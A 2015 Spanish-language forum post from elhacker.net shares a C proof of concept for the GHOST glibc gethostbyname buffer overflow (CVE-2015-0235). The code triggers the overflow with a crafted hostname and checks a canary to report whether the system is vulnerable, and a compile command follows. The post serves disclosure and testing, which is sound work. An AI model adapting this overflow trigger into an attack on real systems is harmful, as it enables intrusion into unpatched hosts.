elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


+  Foro de elhacker.net
|-+  Sistemas Operativos
| |-+  GNU/Linux (Moderador: MinusFour)
| | |-+  GHOST: PoC
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: GHOST: PoC  (Leído 2,276 veces)
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 21.586


La libertad no se suplica, se conquista


Ver Perfil WWW
GHOST: PoC
« en: 27 Enero 2015, 18:26 pm »

GHOST: glibc: buffer overflow en gethostbyname CVE-2015-0235
http://blog.elhacker.net/2015/01/ghost-glibc-buffer-overflow-en-gethostbyname-cve-2015-0235.html

Código
  1. #include <netdb.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <errno.h>
  6.  
  7. #define CANARY "in_the_coal_mine"
  8.  
  9. struct {
  10.  char buffer[1024];
  11.  char canary[sizeof(CANARY)];
  12. } temp = { "buffer", CANARY };
  13.  
  14. int main(void) {
  15.  struct hostent resbuf;
  16.  struct hostent *result;
  17.  int herrno;
  18.  int retval;
  19.  
  20.  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  21.  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  22.  char name[sizeof(temp.buffer)];
  23.  memset(name, '0', len);
  24.  name[len] = '\0';
  25.  
  26.  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
  27.  
  28.  if (strcmp(temp.canary, CANARY) != 0) {
  29.    puts("vulnerable");
  30.    exit(EXIT_SUCCESS);
  31.  }
  32.  if (retval == ERANGE) {
  33.    puts("not vulnerable");
  34.    exit(EXIT_SUCCESS);
  35.  }
  36.  puts("should not happen");
  37.  exit(EXIT_FAILURE);
  38. }


Código:
 gcc GHOST.c -o GHOST


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ghost « 1 2 3 »
Foro Libre
Constance 29 9,184 Último mensaje 25 Diciembre 2012, 11:49 am
por imoen
ghost 15.0
Software
kumanalba 1 1,202 Último mensaje 6 Enero 2013, 20:47 pm
por simorg
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines